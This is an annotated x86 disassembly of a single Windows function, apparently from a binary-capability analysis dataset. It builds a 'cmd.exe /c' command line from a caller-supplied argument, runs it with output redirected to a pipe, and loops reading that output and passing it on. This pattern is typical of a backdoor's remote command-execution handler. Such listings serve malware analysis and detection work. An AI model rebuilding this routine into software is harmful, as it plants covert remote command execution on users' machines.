Function at 0x404890
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xaa8
push ebx
push esi
push edi
lea edi, [ebp - 0xaa8]
mov ecx, 0x2aa
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x478b40]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x7c], 0
mov byte [ebp - 0x1b0], 0
push 0x12b
push 0
lea eax, [ebp - 0x1af]
push eax
call fcn.0040b300
add esp, 0xc
mov byte [ebp - 0x9b8], 0
push 0x7ff
push 0
lea eax, [ebp - 0x9b7]
push eax
call fcn.0040b300
add esp, 0xc
mov dword [ebp - 0x9d8], 0
mov dword [ebp - 0x9e4], 0
mov dword [ebp - 0x9cc], 0xc
mov dword [ebp - 0x9c8], 0
mov dword [ebp - 0x9c4], 1
mov esi, esp
push 0
lea eax, [ebp - 0x9cc]
push eax
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
cmp esi, esp
call fcn.0040b060
test eax, eax
jne 0x404960
jmp 0x404aae
mov dword [ebp - 0x4c], 0x44
mov esi, esp
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
cmp esi, esp
call fcn.0040b060
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x10], eax
xor eax, eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x20], 0x101
mov esi, esp
push 0x12c
lea eax, [ebp - 0x1b0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp esi, esp
call fcn.0040b060
push str.cmd.exe__c
lea eax, [ebp - 0x1b0]
push eax
call fcn.0040abd0
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1b0]
push ecx
call fcn.0040abd0
add esp, 8
mov esi, esp
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x4c]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
lea edx, [ebp - 0x1b0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp esi, esp
call fcn.0040b060
test eax, eax
jne 0x404a0f
jmp 0x404aae
mov esi, esp
mov eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.0040b060
mov eax, 1
test eax, eax
je 0x404a9d
mov esi, esp
push 0
lea eax, [ebp - 0x9d8]
push eax
push 0x800
lea ecx, [ebp - 0x9b8]
push ecx
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp esi, esp
call fcn.0040b060
test eax, eax
jne 0x404a59
jmp 0x404a9d
push 0
push 0
mov eax, dword [ebp - 0x9d8]
push eax
lea ecx, [ebp - 0x9b8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401212
push 0x800
push 0
lea eax, [ebp - 0x9b8]
push eax
call fcn.0040b300
add esp, 0xc
mov esi, esp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.0040b060
jmp 0x404a22
push 0
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.00401212
cmp dword [ebp - 0x70], 0
je 0x404ac7
mov esi, esp
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.0040b060
cmp dword [ebp - 0x7c], 0
je 0x404ae0
mov esi, esp
mov eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.0040b060
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x404b14]
call fcn.0040b090
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b050
add esp, 0xaa8
cmp ebp, esp
call fcn.0040b060
mov esp, ebp
pop ebp
ret